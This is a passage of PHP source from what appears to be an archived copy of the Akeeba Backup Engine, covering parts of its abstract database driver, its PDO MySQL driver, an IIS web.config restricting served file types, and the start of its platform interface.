			elseif (is_array($name) && (count($name) == (is_array($as) || $as instanceof \Countable ? count($as) : 0)))
			{
				$count = count($name);
				for ($i = 0; $i < $count; $i++)
				{
					$fin[] = $this->quoteName($name[$i], $as[$i]);
				}
			}

			return $fin;
		}
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Table prefix
	 * @param   string  $prefix    For the table - used to rename constraints in non-mysql databases
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function renameTable($oldTable, $newTable, $backup = null, $prefix = null);

	/**
	 * This function replaces a string identifier <var>$prefix</var> with the string held is the
	 * <var>tablePrefix</var> class variable.
	 *
	 * @param   string  $query   The SQL statement to prepare.
	 * @param   string  $prefix  The common table prefix.
	 *
	 * @return  string  The processed SQL statement.
	 */
	public function replacePrefix($query, $prefix = '#__')
	{
		$escaped   = false;
		$startPos  = 0;
		$quoteChar = '';
		$literal   = '';

		$query = trim($query);
		$n     = strlen($query);

		while ($startPos < $n)
		{
			$ip = strpos($query, $prefix, $startPos);
			if ($ip === false)
			{
				break;
			}

			$j = strpos($query, "'", $startPos);
			$k = strpos($query, '"', $startPos);
			if (($k !== false) && (($k < $j) || ($j === false)))
			{
				$quoteChar = '"';
				$j         = $k;
			}
			else
			{
				$quoteChar = "'";
			}

			if ($j === false)
			{
				$j = $n;
			}

			$literal  .= str_replace($prefix, $this->tablePrefix, substr($query, $startPos, $j - $startPos));
			$startPos = $j;

			$j = $startPos + 1;

			if ($j >= $n)
			{
				break;
			}

			// Quote comes first, find end of quote
			while (true)
			{
				$k       = strpos($query, $quoteChar, $j);
				$escaped = false;
				if ($k === false)
				{
					break;
				}
				$l = $k - 1;
				while ($l >= 0 && $query[$l] == '\\')
				{
					$l--;
					$escaped = !$escaped;
				}
				if ($escaped)
				{
					$j = $k + 1;
					continue;
				}
				break;
			}
			if ($k === false)
			{
				// Error in the query - no end quote; ignore it
				break;
			}
			$literal  .= substr($query, $startPos, $k - $startPos + 1);
			$startPos = $k + 1;
		}
		if ($startPos < $n)
		{
			$literal .= substr($query, $startPos, $n - $startPos);
		}

		return $literal;
	}

	/**
	 * Resets the error condition in the driver. Useful to reset the error state after handling a thrown exception.
	 *
	 * @return $this for chaining
	 */
	public function resetErrors()
	{
		$this->errorNum = 0;
		$this->errorMsg = '';

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	abstract public function select($database);

	/**
	 * Sets the database debugging state for the driver.
	 *
	 * @param   boolean  $level  True to enable debugging.
	 *
	 * @return  boolean  The old debugging level.
	 */
	public function setDebug($level)
	{
		$previous    = $this->debug;
		$this->debug = (bool) $level;

		return $previous;
	}

	/**
	 * Sets the SQL statement string for later execution.
	 *
	 * @param   mixed    $query   The SQL statement to set either as a QueryBase object or a string.
	 * @param   integer  $offset  The affected row offset to set.
	 * @param   integer  $limit   The maximum affected rows to set.
	 *
	 * @return  self  This object to support method chaining.
	 */
	public function setQuery($query, $offset = 0, $limit = 0)
	{
		$this->sql    = $query;
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	abstract public function setUTF();

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionCommit();

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionRollback();

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionStart();

	/**
	 * Method to truncate a table.
	 *
	 * @param   string  $table  The table to truncate
	 *
	 * @return  void
	 */
	public function truncateTable($table)
	{
		$this->setQuery('TRUNCATE TABLE ' . $this->quoteName($table));
		$this->query();
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function unlockTables();

	/**
	 * Updates a row in a table based on an object's properties.
	 *
	 * @param   string   $table   The name of the database table to update.
	 * @param   object  &$object  A reference to an object whose public properties match the table fields.
	 * @param   string   $key     The name of the primary key.
	 * @param   boolean  $nulls   True to update null fields or false to ignore them.
	 *
	 * @return  boolean  True on success.
	 */
	public function updateObject($table, &$object, $key, $nulls = false)
	{
		$fields = [];
		$where  = [];

		if (is_string($key))
		{
			$key = [$key];
		}

		if (is_object($key))
		{
			$key = (array) $key;
		}

		// Create the base update statement.
		$statement = 'UPDATE ' . $this->quoteName($table) . ' SET %s WHERE %s';

		// Iterate over the object variables to build the query fields/value pairs.
		foreach (get_object_vars($object) as $k => $v)
		{
			// Only process scalars that are not internal fields.
			if (is_array($v) || is_object($v) || ($k[0] == '_'))
			{
				continue;
			}

			// Set the primary key to the WHERE clause instead of a field to update.
			if (in_array($k, $key))
			{
				$where[] = $this->quoteName($k) . '=' . $this->quote($v);
				continue;
			}

			// Prepare and sanitize the fields and values for the database query.
			if ($v === null)
			{
				// If the value is null and we want to update nulls then set it.
				if ($nulls)
				{
					$val = 'NULL';
				}
				// If the value is null and we do not want to update nulls then ignore this field.
				else
				{
					continue;
				}
			}
			// The field is not null so we prep it for update.
			else
			{
				$val = $this->quote($v);
			}

			// Add the field to be updated.
			$fields[] = $this->quoteName($k) . '=' . $val;
		}

		// We don't have any fields to update.
		if (empty($fields))
		{
			return true;
		}

		// Set the query and execute the update.
		$this->setQuery(sprintf($statement, implode(",", $fields), implode(' AND ', $where)));

		return $this->execute();
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	abstract protected function fetchArray($cursor = null);

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	abstract protected function fetchObject($cursor = null, $class = 'stdClass');

	/**
	 * Return the query string to alter the database character set.
	 *
	 * @param   string  $dbName  The database name
	 *
	 * @return  string  The query that alter the database query string
	 */
	protected function getAlterDbCharacterSet($dbName)
	{
		$query = 'ALTER DATABASE ' . $this->quoteName($dbName) . ' CHARACTER SET `utf8`';

		return $query;
	}

	/**
	 * Return the query string to create new Database.
	 * Each database driver, other than MySQL, need to override this member to return correct string.
	 *
	 * @param   object   $options         Object used to pass user and database name to database driver.
	 *                                    This object must have "db_name" and "db_user" set.
	 * @param   boolean  $utf             True if the database supports the UTF-8 character set.
	 *
	 * @return  string  The query that creates database
	 */
	protected function getCreateDatabaseQuery($options, $utf)
	{
		if ($utf)
		{
			$query = 'CREATE DATABASE ' . $this->quoteName($options->db_name) . ' CHARACTER SET `utf8`';
		}
		else
		{
			$query = 'CREATE DATABASE ' . $this->quoteName($options->db_name);
		}

		return $query;
	}

	/**
	 * Gets the name of the database used by this connection.
	 *
	 * @return  string
	 */
	protected function getDatabase()
	{
		return $this->_database;
	}

	/**
	 * Quote strings coming from quoteName call.
	 *
	 * @param   array  $strArr  Array of strings coming from quoteName dot-explosion.
	 *
	 * @return  string  Dot-imploded string of quoted parts.
	 */
	protected function quoteNameStr($strArr)
	{
		$parts = [];
		$q     = $this->nameQuote;

		foreach ($strArr as $part)
		{
			if (is_null($part))
			{
				continue;
			}

			if (strlen($q) == 1)
			{
				$parts[] = $q . $part . $q;
			}
			else
			{
				$parts[] = $q[0] . $part . $q[1];
			}
		}

		return implode('.', $parts);
	}
}
com_akeeba/BackupEngine/Driver/Pdomysql.php000060400000044715152455305260014737 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Pdomysql as QueryPdomysql;
use Akeeba\Engine\FixMySQLHostname;
use Exception;
use PDO;
use PDOException;
use PDOStatement;
use ReflectionClass;
use RuntimeException;

/**
 * PDO MySQL database driver for Akeeba Engine
 *
 * Based on Joomla! Platform 12.1
 */
#[\AllowDynamicProperties]
class Pdomysql extends Mysql
{
	use FixMySQLHostname;

	/**
	 * The default cipher suite for TLS connections.
	 *
	 * @var    array
	 */
	protected static $defaultCipherSuite = [
		'AES128-GCM-SHA256',
		'AES256-GCM-SHA384',
		'AES128-CBC-SHA256',
		'AES256-CBC-SHA384',
		'DES-CBC3-SHA',
	];

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 */
	public $name = 'pdomysql';

	/** @var string Connection character set */
	protected $charset = 'utf8mb4';

	/** @var PDO The db connection resource */
	protected $connection = null;

	/** @var PDOStatement The database connection cursor from the last query. */
	protected $cursor;

	/** @var array Driver options for PDO */
	protected $driverOptions = [];

	protected $ssl = [];

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'mysql';

		// Init
		$this->nameQuote = '`';

		$options['ssl'] = $options['ssl'] ?? [];
		$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

		$options['ssl']['enable']             =
			($options['ssl']['enable'] ?? $options['dbencryption'] ?? false) ?: false;
		$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $options['dbsslcipher'] ?? null) ?: null;
		$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $options['dbsslca'] ?? null) ?: null;
		$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $options['dbsslcapath'] ?? null) ?: null;
		$options['ssl']['key']                = ($options['ssl']['key'] ?? $options['dbsslkey'] ?? null) ?: null;
		$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $options['dbsslcert'] ?? null) ?: null;
		$options['ssl']['verify_server_cert'] =
			($options['ssl']['verify_server_cert'] ?? $options['dbsslverifyservercert'] ?? false) ?: false;

		// Figure out if a port is included in the host name
		$this->fixHostnamePortSocket($options['host'], $options['port'], $options['socket']);

		// Open the connection
		$this->host           = $options['host'] ?? 'localhost';
		$this->user           = $options['user'] ?? '';
		$this->password       = $options['password'] ?? '';
		$this->port           = $options['port'] ?? '';
		$this->socket         = $options['socket'] ?? '';
		$this->_database      = $options['database'] ?? '';
		$this->selectDatabase = $options['select'] ?? true;
		$this->ssl            = $options['ssl'] ?? [];

		$this->charset       = $options['charset'] ?? 'utf8mb4';
		$this->driverOptions = $options['driverOptions'] ?? [];
		$this->tablePrefix   = $options['prefix'] ?? '';
		$this->connection    = $options['connection'] ?? null;
		$this->errorNum      = 0;
		$this->count         = 0;
		$this->log           = [];
		$this->options       = $options;

		if (!is_object($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function isSupported()
	{
		if (!defined('\PDO::ATTR_DRIVER_NAME'))
		{
			return false;
		}

		return in_array('mysql', PDO::getAvailableDrivers());
	}

	/**
	 * PDO does not support serialize
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		$serializedProperties = [];

		$reflect = new ReflectionClass($this);

		// Get properties of the current class
		$properties = $reflect->getProperties();

		foreach ($properties as $property)
		{
			// Do not serialize properties that are \PDO
			if ($property->isStatic() == false && !($this->{$property->name} instanceof PDO))
			{
				array_push($serializedProperties, $property->name);
			}
		}

		return $serializedProperties;
	}

	/**
	 * Wake up after serialization
	 *
	 * @return  array
	 */
	public function __wakeup()
	{
		// Get connection back
		$this->__construct($this->options);
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor))
		{
			try
			{
				$this->cursor->closeCursor();
			}
			catch (\Throwable $e)
			{
			}
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		if (!is_object($this->connection))
		{
			return false;
		}

		try
		{
			/** @var PDOStatement $statement */
			$statement = $this->connection->prepare('SELECT 1');
			$executed  = $statement->execute();
			$ret       = 0;

			if ($executed)
			{
				$row = [0];

				if (!empty($statement) && $statement instanceof PDOStatement)
				{
					$row = $statement->fetch(PDO::FETCH_NUM);
				}

				$ret = $row[0];
			}

			$status = $ret == 1;

			$statement->closeCursor();
			$statement = null;
		}
		// If we catch an exception here, we must not be connected.
		catch (\Throwable $e)
		{
			$status = false;
		}

		return $status;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (is_int($text) || is_float($text))
		{
			return $text;
		}

		if (is_null($text))
		{
			return 'NULL';
		}

		$result = substr($this->connection->quote($text), 1, -1);

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetch(PDO::FETCH_ASSOC);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetch(PDO::FETCH_ASSOC);
		}

		return $ret;
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		if ($cursor instanceof PDOStatement)
		{
			$cursor->closeCursor();
			$cursor = null;
		}

		if ($this->cursor instanceof PDOStatement)
		{
			$this->cursor->closeCursor();
			$this->cursor = null;
		}
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		if ($this->cursor instanceof PDOStatement)
		{
			return $this->cursor->rowCount();
		}

		return 0;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		if ($cursor instanceof PDOStatement)
		{
			return $cursor->rowCount();
		}

		if ($this->cursor instanceof PDOStatement)
		{
			return $this->cursor->rowCount();
		}

		return 0;
	}

	/**
	 * Get the current or query, or new JDatabaseQuery object.
	 *
	 * @param   boolean  $new  False to return the last query set, True to return a new JDatabaseQuery object.
	 *
	 * @return  mixed  The current value of the internal SQL variable or a new JDatabaseQuery object.
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new QueryPdomysql($this);
		}
		else
		{
			return $this->sql;
		}
	}

	public function createQuery()
	{
		return new QueryPdomysql($this);
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		$version = $this->connection->getAttribute(\PDO::ATTR_SERVER_VERSION);

		if (stripos($version, 'mariadb') !== false)
		{
			// MariaDB: Strip off any leading '5.5.5-', if present
			return preg_replace('/^5\.5\.5-/', '', $version);
		}

		return $version;
	}

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		$serverVersion = $this->getVersion();
		$mariadb       = stripos($serverVersion, 'mariadb') !== false;

		// At this point we know the client supports utf8mb4.  Now we must check if the server supports utf8mb4 as well.
		$utf8mb4 = version_compare($serverVersion, '5.5.3', '>=');

		if ($mariadb && version_compare($serverVersion, '10.0.0', '<'))
		{
			$utf8mb4 = false;
		}

		return $utf8mb4;
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		// Error suppress this to prevent PDO warning us that the driver doesn't support this operation.
		return @$this->connection->lastInsertId();
	}

	/**
	 * Method to get the next row in the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextObject($class = 'stdClass')
	{
		// Execute the query and get the result set cursor.
		if (!$this->cursor)
		{
			if (!($this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchObject(null, $class))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult();

		return false;
	}

	/**
	 * Method to get the next row in the result set from the database query as an array.
	 *
	 * @return  mixed  The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextRow()
	{
		// Execute the query and get the result set cursor.
		if (!$this->cursor)
		{
			if (!($this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchArray())
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult();

		return false;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		if (!isset($this->charset))
		{
			$this->charset = 'utf8mb4';
		}

		$this->port = $this->port ?: 3306;

		$format = 'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#';

		if ($this->socket)
		{
			$format = 'mysql:socket=#SOCKET#;dbname=#DBNAME#;charset=#CHARSET#';
		}

		$replace = ['#HOST#', '#PORT#', '#SOCKET#', '#DBNAME#', '#CHARSET#'];
		$with    = [$this->host, $this->port, $this->socket, $this->_database, $this->charset];

		// Create the connection string:
		$connectionString = str_replace($replace, $with, $format);

		// For SSL/TLS connection encryption.
		if ($this->ssl !== [] && $this->ssl['enable'] === true)
		{
			$sslContextIsNull = true;

			// If customised, add cipher suite, ca file path, ca path, private key file path and certificate file path to PDO driver options.
			foreach (['cipher', 'ca', 'capath', 'key', 'cert'] as $key => $value)
			{
				if ($this->ssl[$value] !== null)
				{
					$this->driverOptions[constant('\PDO::MYSQL_ATTR_SSL_' . strtoupper($value))] = $this->ssl[$value];

					$sslContextIsNull = false;
				}
			}

			// PDO, if no cipher, ca, capath, cert and key are set, can't start TLS one-way connection, set a common ciphers suite to force it.
			if ($sslContextIsNull === true)
			{
				$this->driverOptions[\PDO::MYSQL_ATTR_SSL_CIPHER] = implode(':', static::$defaultCipherSuite);
			}

			// If customised, for capable systems (PHP 7.0.14+ and 7.1.4+) verify certificate chain and Common Name to driver options.
			if ($this->ssl['verify_server_cert'] !== null && defined('\PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT'))
			{
				$this->driverOptions[\PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT] = $this->ssl['verify_server_cert'];
			}
		}

		// connect to the server
		try
		{
			$this->connection = new PDO(
				$connectionString,
				$this->user,
				$this->password,
				$this->driverOptions
			);
		}
		catch (PDOException $e)
		{
			// If we tried connecting through utf8mb4 and we failed let's retry with regular utf8
			if ($this->charset == 'utf8mb4')
			{
				$this->charset = 'UTF8';
				$this->open();

				return;
			}

			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to MySQL via PDO: ' . $e->getMessage();

			return;
		}

		// Reset the SQL mode of the connection
		try
		{
			$this->connection->exec("SET @@SESSION.sql_mode = '';");
		}
			// Ignore any exceptions (incompatible MySQL versions)
		catch (Exception $e)
		{
		}

		$this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

		if ($this->selectDatabase && !empty($this->_database))
		{
			$this->select($this->_database);
		}

		$this->freeResult();
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		if (!is_object($this->connection))
		{
			$this->open();
		}

		$this->freeResult();

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string)$this->sql);

		if ($this->limit > 0 || $this->offset > 0)
		{
			$query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		try
		{
			$this->cursor = $this->connection->query($query);
		}
		catch (Exception $e)
		{
		}

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			$errorInfo      = $this->connection->errorInfo();
			$this->errorNum = $errorInfo[1];
			$this->errorMsg = $errorInfo[2] . ' SQL=' . $query;

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			else
			{
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->cursor;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		try
		{
			$this->connection->exec('USE ' . $this->quoteName($database));
		}
		catch (Exception $e)
		{
			$errorInfo      = $this->connection->errorInfo();
			$this->errorNum = $errorInfo[1];
			$this->errorMsg = $errorInfo[2];

			return false;
		}

		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		return true;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		$this->connection->commit();
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		$this->connection->rollBack();
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		$this->connection->beginTransaction();
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetch(PDO::FETCH_NUM);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetch(PDO::FETCH_NUM);
		}

		return $ret;
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetchObject($class);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetchObject($class);
		}

		return $ret;
	}
}
com_akeeba/BackupEngine/web.config000060400000001025152455305260013112 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/BackupEngine/Platform/Exception/DecryptionException.php000060400000002612152455305260021403 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform\Exception;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;

/**
 * Thrown when the settings cannot be decrypted, e.g. when the server no longer has encyrption enabled or the key has
 * changed.
 */
class DecryptionException extends RuntimeException
{
	public function __construct($message = null, $code = 500, Exception $previous = null)
	{
		if (empty($message))
		{
			$message = Platform::getInstance()->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION');
		}

		parent::__construct($message, $code, $previous);
	}

}
com_akeeba/BackupEngine/Platform/PlatformInterface.php000060400000030332152455305260017053 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * Interface PlatformInterface
 *
 * @property string $tableNameProfiles The name of the table where backup profiles are stored
 * @property string $tableNameStats    The name of the table where backup records are stored
 * @property array  $configOverrides   Configuration overrides
 */
interface PlatformInterface
{
	/**
	 * Returns an array with the directory/-ies in which the magic autoloader should look for platform overrides.
	 *
	 * @return  array
	 */
	public function getPlatformDirectories();

	/**
	 * Performs heuristics to determine if this platform object is the ideal
	 * candidate for the environment Akeeba Engine is running in.
	 *
	 * @return  bool
	 */
	public function isThisPlatform();

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id      The profile where to save the configuration
	 *                                to, defaults to current profile
	 *
	 * @return  bool  True if everything was saved properly
	 */
	public function save_configuration($profile_id = null);

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int  $profile_id  The profile where to read the configuration from, defaults to current profile
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null);

	/**
	 * Returns an associative array of stock platform directories
	 *
	 * @return  array
	 */
	public function get_stock_directories();

	/**
	 * Returns the absolute path to the site's root
	 *
	 * @return  string
	 */
	public function get_site_root();

	/**
	 * Returns the absolute path to the installer images directory
	 *
	 * @return  string
	 */
	public function get_installer_images_path();

	/**
	 * Returns the active profile number
	 *
	 * @return  integer
	 */
	public function get_active_profile();

	/**
	 * Returns the selected profile's name. If no ID is specified, the current
	 * profile's name is returned.
	 *
	 * @param   integer|null  $id  The ID of the profile, skip for current profile
	 *
	 * @return  string
	 */
	public function get_profile_name($id = null);

	/**
	 * Returns the backup origin
	 *
	 * @return  string  Backup origin: backend|frontend
	 */
	public function get_backup_origin();

	/**
	 * Returns a timestamp formatted for the current site's database driver
	 *
	 * @param   string  $date  [optional] The timestamp to use. Omit to use current timestamp.
	 *
	 * @return  string
	 */
	public function get_timestamp_database($date = 'now');

	/**
	 * Returns the current timestamp, taking into account any TZ information,
	 * in the format specified by $format.
	 *
	 * @param   string  $format  Timestamp format string (standard PHP format string)
	 *
	 * @return  string
	 */
	public function get_local_timestamp($format);

	/**
	 * Returns the current host name
	 *
	 * @return  string
	 */
	public function get_host();

	/**
	 * Returns the current site's name
	 *
	 * @return  string
	 */
	public function get_site_name();

	/**
	 * Creates or updates the statistics record of the current backup attempt
	 *
	 * @param   int    $id    Backup record ID, use null for new record
	 * @param   array  $data  The data to store
	 *
	 * @return int|null The new record id, or null if this doesn't apply
	 *
	 * @throws Exception On database error
	 */
	public function set_or_update_statistics($id = null, $data = []);

	/**
	 * Loads and returns a backup statistics record as a hash array
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return  array
	 */
	public function get_statistics($id);

	/**
	 * Completely removes a backup statistics record
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return  bool  True on success
	 */
	public function delete_statistics($id);

	/**
	 * Returns a list of backup statistics records, respecting the pagination
	 *
	 * The $config array allows the following options to be set:
	 * limitstart    int        Offset in the recordset to start from
	 * limit        int        How many records to return at once
	 * filters        array    An array of filters to apply to the results. Alternatively you can just pass a profile
	 * ID to filter by that profile. order        array    Record ordering information (by and ordering)
	 *
	 * @param   array  $config  See above
	 *
	 * @return  array
	 */
	function &get_statistics_list($config = []);

	/**
	 * Return the total number of statistics records
	 *
	 * @param   array  $filters  An array of filters to apply to the results. Alternatively you can just pass a profile
	 *                           ID to filter by that profile.
	 *
	 * @return  integer
	 */
